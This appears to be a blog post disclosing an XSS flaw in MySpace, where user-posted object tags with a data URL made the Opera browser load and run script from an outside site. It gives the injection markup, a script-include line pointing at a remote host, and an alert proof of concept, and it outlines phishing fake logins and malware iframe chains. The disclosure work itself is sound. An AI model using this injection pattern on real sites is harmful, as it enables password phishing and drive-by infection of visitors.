I noticed there is a flaw in how MySpace handles the object tag when posting videos and such. With a little experimenting, I found it was possible to insert an iframe into any myspace page, comment, message, etc. The way the flaw works is in how both MySpace and Opera handle the object tag. MySpace is really the one responsible here, as they fail to sanitize the input from users, and allow them to include the data element of the object tag.
If a user posts something to My Space in the form of:
< object data=”http://www.yoursite.com/alert.html” width=”200″ height=”200″ > < /object >
My Space will try to format the output as an Adobe Flash Document. Here is the what My Space converts the above OBJECT data into:
< object type=”application/x-shockwave-flash” allowScriptAccess=”never” allowNetworking=”internal” height=”0″ width=”0″ data=”http://www.yoursite.com/alert.html” >
< param name=”allowScriptAccess” value=”never” / >
< param name=”allowNetworking” value=”internal” / >
< param name=”movie” value=”http://www.yoursite.com/alert.html” / >
< /object >
What ends up happening though, is My Space does not sanitize the output and leaves the DATA=URL intact, allowing whatever page is linked, to be embedded into a persons profile,comments, messages, bulletin posts, etc. On the other end, the alert.html file only needs to contain one line of code to execute a script:
< script type=”text/javascript” src=”http://www.yoursite.com/alert.js” > < /script >
Within the alert.js file I have done a proof of concept test and added the following code:
alert (“Welcome to My Space. If you can see this, it’s because My Space is vulnerable to XSS attacks.”);
Now, most browsers will look at the OBJECT data and ignore the output since it is not trying to load an actual Flash document in the manner in which My Space has changed it. Fire Fox, Internet Explorer, and Safari do nothing with the above code, but Opera on the other hand will load the data from the linked off site URL. What happens is that any Javascript from the foreign site linked by DATA=URL will execute for any visitors if they are using the Opera Web Browser.
I have tested this on multiple computers running Opera, as well as the Linux and Windows operating systems(I assume the same will work on Mac OSX under Opera), so it would seem that the flaw relies on two components. One being the user visiting the page is running Opera, and the other, My Space allowing the linked DATA=URL in their OBJECT tags. Since My Space will auto format the output into an Adobe Flash Object without removing the DATA=URL field they are putting their users at risk.
Now, given the above example, this seems to be limited to a flaw in Opera, but this flaw only works because of both My Space and Opera combined. The operating system does not seem to be a factor. Here is a screen shot of the flaw at work on Ubuntu using the Opera Web Browser: XSS_Flaw
It’s not hard to think of what someone could do to an unsuspecting visitor. With a little PHP you can redirect the entire page, set up a fake login and make the user think they were logged out of myspace, potentially phishing their password in the process. Others might be using offshore malware sites that would like to infect the user via chained iframes over many different sites, compromising more than just their myspace account, but also their PC.
The above flaw will also work in other browsers like Internet Explorer, Fire Fox, etc, if kept in the original format of <object data=”http://www.yoursite.com/alert.html” width=”200″ height=”200″> </object>
Mypace just happens to break the code for most browsers except Opera.
del.icio.us|Digg|Furl|ma.gnolia|RawSugar|reddit|Spurl|Google|StumbleUpon
